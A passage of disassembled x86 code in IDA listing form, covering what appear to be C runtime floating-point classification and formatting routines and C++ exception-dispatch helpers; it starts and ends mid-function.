test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_4215E1
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_4217E9
lea eax, [ebp+var_20]
push eax
call sub_42401D
add esp, 0Ch
test eax, eax
jnz short loc_4215DB
push esi
call sub_4215FE
pop ecx
loc_4215DB: ; CODE XREF: sub_421576+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_421576+14j
push 0FFFFh
push [ebp+arg_20]
call sub_4217E9
push [ebp+arg_0]
call sub_4215FE
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421576 endp
; =============== S U B R O U T I N E =======================================
sub_4215FE proc near ; CODE XREF: sub_421014+7Dp
; sub_421576+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421619
jle short locret_421623
cmp eax, 3
jg short locret_421623
mov dword_4DB278, 22h
retn
; ---------------------------------------------------------------------------
loc_421619: ; CODE XREF: sub_4215FE+7j
mov dword_4DB278, 21h
locret_421623: ; CODE XREF: sub_4215FE+9j
; sub_4215FE+Ej
retn
sub_4215FE endp
; =============== S U B R O U T I N E =======================================
sub_421624 proc near ; CODE XREF: sub_421576+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43C788
loc_42162B: ; CODE XREF: sub_421624+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421641
add eax, 8
inc ecx
cmp eax, offset dbl_43C860
jl short loc_42162B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421641: ; CODE XREF: sub_421624+Dj
mov eax, off_43C78C[ecx*8]
retn
sub_421624 endp
; =============== S U B R O U T I N E =======================================
sub_421649 proc near ; CODE XREF: sub_421014+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421655
push 5
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421655: ; CODE XREF: sub_421649+6j
test al, 8
jz short loc_42165D
push 1
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_42165D: ; CODE XREF: sub_421649+Ej
test al, 4
jz short loc_421665
push 2
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421665: ; CODE XREF: sub_421649+16j
test al, 1
jz short loc_42166D
push 3
loc_42166B: ; CODE XREF: sub_421649+Aj
; sub_421649+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: sub_421649+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421649 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421676(double)
sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp
; sub_41C7BF:loc_41C845p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421676 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421688(double,int)
sub_421688 proc near ; CODE XREF: sub_42170B+82p
; sub_42170B+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421688 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216B1 proc near ; CODE XREF: sub_41C679+31p
; sub_41C7BF+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4216C8
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 1
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216C8: ; CODE XREF: sub_4216B1+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_4216DA
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 2
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216DA: ; CODE XREF: sub_4216B1+11j
; sub_4216B1+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_4216ED
push 3
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216ED: ; CODE XREF: sub_4216B1+36j
cmp cx, 7FF0h
jnz short loc_421707
test [ebp+arg_4], 7FFFFh
jnz short loc_421702
cmp [ebp+arg_0], edx
jz short loc_421707
loc_421702: ; CODE XREF: sub_4216B1+4Aj
push 4
loc_421704: ; CODE XREF: sub_4216B1+15j
; sub_4216B1+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_4216B1+41j
; sub_4216B1+4Fj
xor eax, eax
pop ebp
retn
sub_4216B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42170B(double,int)
sub_42170B proc near ; CODE XREF: sub_42135F+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427880
push esi
fnstsw ax
sahf
jnz short loc_42172B
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4217C1
; ---------------------------------------------------------------------------
loc_42172B: ; CODE XREF: sub_42170B+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42179A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421743
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42179A
loc_421743: ; CODE XREF: sub_42170B+31j
fld [ebp+arg_0]
fcomp dbl_427880
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_42175B
push 1
pop eax
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_42175B: ; CODE XREF: sub_42170B+49j
xor eax, eax
loc_42175D: ; CODE XREF: sub_42170B+4Ej
; sub_42170B+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_421776
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_421770
or dword ptr [ebp+arg_0+4], 1
loc_421770: ; CODE XREF: sub_42170B+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_421776: ; CODE XREF: sub_42170B+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_421784
or byte ptr [ebp+arg_0+7], 80h
loc_421784: ; CODE XREF: sub_42170B+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4217C1
; ---------------------------------------------------------------------------
loc_42179A: ; CODE XREF: sub_42170B+28j
; sub_42170B+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4217C1: ; CODE XREF: sub_42170B+1Bj
; sub_42170B+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_42170B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_4217CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217DA proc near ; CODE XREF: sub_4210AC+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_4217DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217E9 proc near ; CODE XREF: sub_41C679+13p
; sub_41C679+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_4217E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42180C proc near ; CODE XREF: sub_42135F+1Dp
; sub_42135F+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421823
fld tbyte_43C888
fistp [ebp+arg_0]
wait
loc_421823: ; CODE XREF: sub_42180C+Bj
test cl, 8
jz short loc_421838
fstsw ax
fld tbyte_43C888
fstp [ebp+var_8]
wait
fstsw ax
loc_421838: ; CODE XREF: sub_42180C+1Aj
test cl, 10h
jz short loc_421847
fld tbyte_43C894
fstp [ebp+var_8]
wait
loc_421847: ; CODE XREF: sub_42180C+2Fj
test cl, 4
jz short loc_421855
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_421855: ; CODE XREF: sub_42180C+3Ej
test cl, 20h
jz short locret_421860
fldpi
fstp [ebp+var_8]
wait
locret_421860: ; CODE XREF: sub_42180C+4Cj
leave
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421862 proc near ; CODE XREF: sub_41C748+Fp
push 30000h
push 10000h
call sub_424055
pop ecx
pop ecx
retn
sub_421862 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427890
fstp [ebp+var_8]
fld dbl_427888
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_427718
fnstsw ax
sahf
jbe short loc_4218AE
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4218AE: ; CODE XREF: sub_421874+33j
xor eax, eax
leave
retn
sub_421874 endp
; =============== S U B R O U T I N E =======================================
sub_4218B2 proc near ; CODE XREF: sub_41C748+5p
push offset aKernel32 ; "KERNEL32"
call near ptr 2670000h
nop
test eax, eax
jz short loc_4218D6
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 2690000h
test eax, eax
jz short loc_4218D6
push 0
call eax ; sub_41C748
retn
; ---------------------------------------------------------------------------
loc_4218D6: ; CODE XREF: sub_4218B2+Dj
; sub_4218B2+1Dj
jmp sub_421874
sub_4218B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp
; DATA XREF: sub_41C760+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41D74C
cmp eax, 65h
pop ecx
jz short loc_42191B
loc_4218EF: ; CODE XREF: sub_4218DB+3Ej
inc esi
cmp dword_43C504, 1
jle short loc_421908
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_421917
; ---------------------------------------------------------------------------
loc_421908: ; CODE XREF: sub_4218DB+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 4
loc_421917: ; CODE XREF: sub_4218DB+2Bj
test eax, eax
jnz short loc_4218EF
loc_42191B: ; CODE XREF: sub_4218DB+12j
mov cl, byte_43C508
mov al, [esi]
mov [esi], cl
inc esi
loc_421926: ; CODE XREF: sub_4218DB+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_421926
pop esi
retn
sub_4218DB endp
; =============== S U B R O U T I N E =======================================
sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p
; DATA XREF: sub_41C760+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43C508
mov cl, [eax]
test cl, cl
jz short loc_421951
loc_421945: ; CODE XREF: sub_421935+1Aj
cmp cl, dl
jz short loc_421951
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_421945
loc_421951: ; CODE XREF: sub_421935+Ej
; sub_421935+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_421982
loc_421958: ; CODE XREF: sub_421935+34j
mov cl, [eax]
test cl, cl
jz short loc_42196B
cmp cl, 65h
jz short loc_42196B
cmp cl, 45h
jz short loc_42196B
inc eax
jmp short loc_421958
; ---------------------------------------------------------------------------
loc_42196B: ; CODE XREF: sub_421935+27j
; sub_421935+2Cj ...
mov ecx, eax
loc_42196D: ; CODE XREF: sub_421935+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42196D
cmp [eax], dl
jnz short loc_421978
dec eax
loc_421978: ; CODE XREF: sub_421935+40j
; sub_421935+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_421978
locret_421982: ; CODE XREF: sub_421935+21j
retn
sub_421935 endp
; =============== S U B R O U T I N E =======================================
sub_421983 proc near ; DATA XREF: sub_41C760+28o
; ___:off_43C8B0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427880
fnstsw ax
sahf
jb short loc_421998
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_421998: ; CODE XREF: sub_421983+Fj
xor eax, eax
retn
sub_421983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42199B proc near ; CODE XREF: sub_420510+430p
; DATA XREF: sub_41C760+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4219C4
lea eax, [ebp+var_8]
push eax
call sub_424518
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4219C4: ; CODE XREF: sub_42199B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424545
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42199B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219D9 proc near ; CODE XREF: sub_421C56+17p
; sub_421CA0+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DB310, 0
push ebx
push esi
jz short loc_421A0E
mov ebx, [ebp+arg_8]
mov eax, dword_4DB30C
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_421CF1
pop ecx
pop ecx
jmp short loc_421A46
; ---------------------------------------------------------------------------
loc_421A0E: ; CODE XREF: sub_4219D9+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_4245E9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424572
add esp, 14h
loc_421A46: ; CODE XREF: sub_4219D9+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_421A52
mov byte ptr [eax], 2Dh
inc eax
loc_421A52: ; CODE XREF: sub_4219D9+73j
test ebx, ebx
jle short loc_421A6A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43C508
mov eax, edi
pop edi
mov [eax], cl
loc_421A6A: ; CODE XREF: sub_4219D9+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DB310, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41BEB0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_421A91
mov byte ptr [ecx], 45h
loc_421A91: ; CODE XREF: sub_4219D9+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_421AD6
mov ebx, [esi+4]
dec ebx
jns short loc_421AA5
neg ebx
mov byte ptr [ecx], 2Dh
loc_421AA5: ; CODE XREF: sub_4219D9+C5j
inc ecx
cmp ebx, 64h
jl short loc_421ABC
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421ABC: ; CODE XREF: sub_4219D9+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_421AD3
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421AD3: ; CODE XREF: sub_4219D9+E7j
add [ecx+1], bl
loc_421AD6: ; CODE XREF: sub_4219D9+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_4219D9 endp
; =============== S U B R O U T I N E =======================================
sub_421ADD proc near ; CODE XREF: sub_421C7D+13p
; sub_421CA0+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DB310, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_421B18
mov eax, dword_4DB314
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DB30C
cmp eax, ebx
jnz short loc_421B48
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_421B48
; ---------------------------------------------------------------------------
loc_421B18: ; CODE XREF: sub_421ADD+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_4245E9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424572
add esp, 14h
loc_421B48: ; CODE XREF: sub_421ADD+22j
; sub_421ADD+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_421B56
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_421B56: ; CODE XREF: sub_421ADD+70j
mov eax, [esi+4]
test eax, eax
jg short loc_421B6D
push 1
push edi
call sub_421CF1
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_421B6F
; ---------------------------------------------------------------------------
loc_421B6D: ; CODE XREF: sub_421ADD+7Ej
add edi, eax
loc_421B6F: ; CODE XREF: sub_421ADD+8Ej
test ebx, ebx
jle short loc_421BB4
push 1
push edi
call sub_421CF1
mov al, byte_43C508
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_421BB4
cmp byte_4DB310, 0
jz short loc_421B99
neg esi
jmp short loc_421B9F
; ---------------------------------------------------------------------------
loc_421B99: ; CODE XREF: sub_421ADD+B6j
neg esi
cmp ebx, esi
jl short loc_421BA1
loc_421B9F: ; CODE XREF: sub_421ADD+BAj
mov ebx, esi
loc_421BA1: ; CODE XREF: sub_421ADD+C0j
push ebx
push edi
call sub_421CF1
push ebx
push 30h
push edi
call sub_41B590
add esp, 14h
loc_421BB4: ; CODE XREF: sub_421ADD+94j
; sub_421ADD+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_421ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BBB proc near ; CODE XREF: sub_421CA0+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_4245E9
mov dword_4DB30C, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DB314, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424572
mov eax, dword_4DB30C
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DB314, ecx
setl cl
mov byte_4DB318, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DB314, eax
jl short loc_421C41
cmp eax, ebx
jge short loc_421C41
test cl, cl
jz short loc_421C32
loc_421C28: ; CODE XREF: sub_421BBB+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_421C28
and [esi-2], al
loc_421C32: ; CODE XREF: sub_421BBB+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_421C7D
add esp, 0Ch
jmp short loc_421C51
; ---------------------------------------------------------------------------
loc_421C41: ; CODE XREF: sub_421BBB+63j
; sub_421BBB+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_421C56
add esp, 10h
loc_421C51: ; CODE XREF: sub_421BBB+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421BBB endp
; =============== S U B R O U T I N E =======================================
sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DB310, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4219D9
and byte_4DB310, 0
add esp, 10h
retn
sub_421C56 endp
; =============== S U B R O U T I N E =======================================
sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DB310, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_421ADD
and byte_4DB310, 0
add esp, 0Ch
retn
sub_421C7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp
; DATA XREF: sub_41C760o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_421CDB
cmp [ebp+arg_8], 45h
jz short loc_421CDB
cmp [ebp+arg_8], 66h
jnz short loc_421CC8
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421ADD
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421CC8: ; CODE XREF: sub_421CA0+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421BBB
jmp short loc_421CEC
; ---------------------------------------------------------------------------
loc_421CDB: ; CODE XREF: sub_421CA0+7j
; sub_421CA0+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4219D9
loc_421CEC: ; CODE XREF: sub_421CA0+39j
add esp, 10h
pop ebp
retn
sub_421CA0 endp
; =============== S U B R O U T I N E =======================================
sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp
; sub_421ADD+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_421D14
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41AFE0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41CC90
add esp, 10h
pop esi
loc_421D14: ; CODE XREF: sub_421CF1+7j
pop edi
retn
sub_421CF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D16 proc near ; CODE XREF: ___:0041C940p
; sub_41C9A9+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_421D2C
call sub_4225B2
loc_421D2C: ; CODE XREF: sub_421D16+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_421D54
cmp dword ptr [esi+4], 0
jz short loc_421DAA
cmp [ebp+arg_14], 0
jnz short loc_421DAA
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_42205D
add esp, 10h
jmp short loc_421DAA
; ---------------------------------------------------------------------------
loc_421D54: ; CODE XREF: sub_421D16+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_421DAA
cmp dword ptr [eax], 0E06D7363h
jnz short loc_421D8E
cmp [eax+14h], edi
jbe short loc_421D8E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_421D8E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_421DAD
; ---------------------------------------------------------------------------
loc_421D8E: ; CODE XREF: sub_421D16+4Aj
; sub_421D16+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_421DB1
add esp, 20h
loc_421DAA: ; CODE XREF: sub_421D16+23j
; sub_421D16+29j ...
push 1
pop eax
loc_421DAD: ; CODE XREF: sub_421D16+76j
pop edi
pop esi
pop ebp
retn
sub_421D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_421DD1
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_421DD6
loc_421DD1: ; CODE XREF: sub_421DB1+16j
call sub_4225B2
loc_421DD6: ; CODE XREF: sub_421DB1+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
mov esi, dword_4DB31C
test esi, esi
jz loc_421F28
mov eax, dword_4DB320
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424770
pop ecx
test eax, eax
pop ecx
jnz short loc_421E2C
call sub_4225B2
loc_421E2C: ; CODE XREF: sub_421DB1+74j
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
call sub_4225B2
loc_421E4A: ; CODE XREF: sub_421DB1+41j
; sub_421DB1+46j ...
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz loc_421F2D
cmp [esi+14h], edi
jnz loc_421F2D
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov ebx, eax
loc_421E81: ; CODE XREF: sub_421DB1+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_421F18
cmp [ebx], edi
jg short loc_421F0D
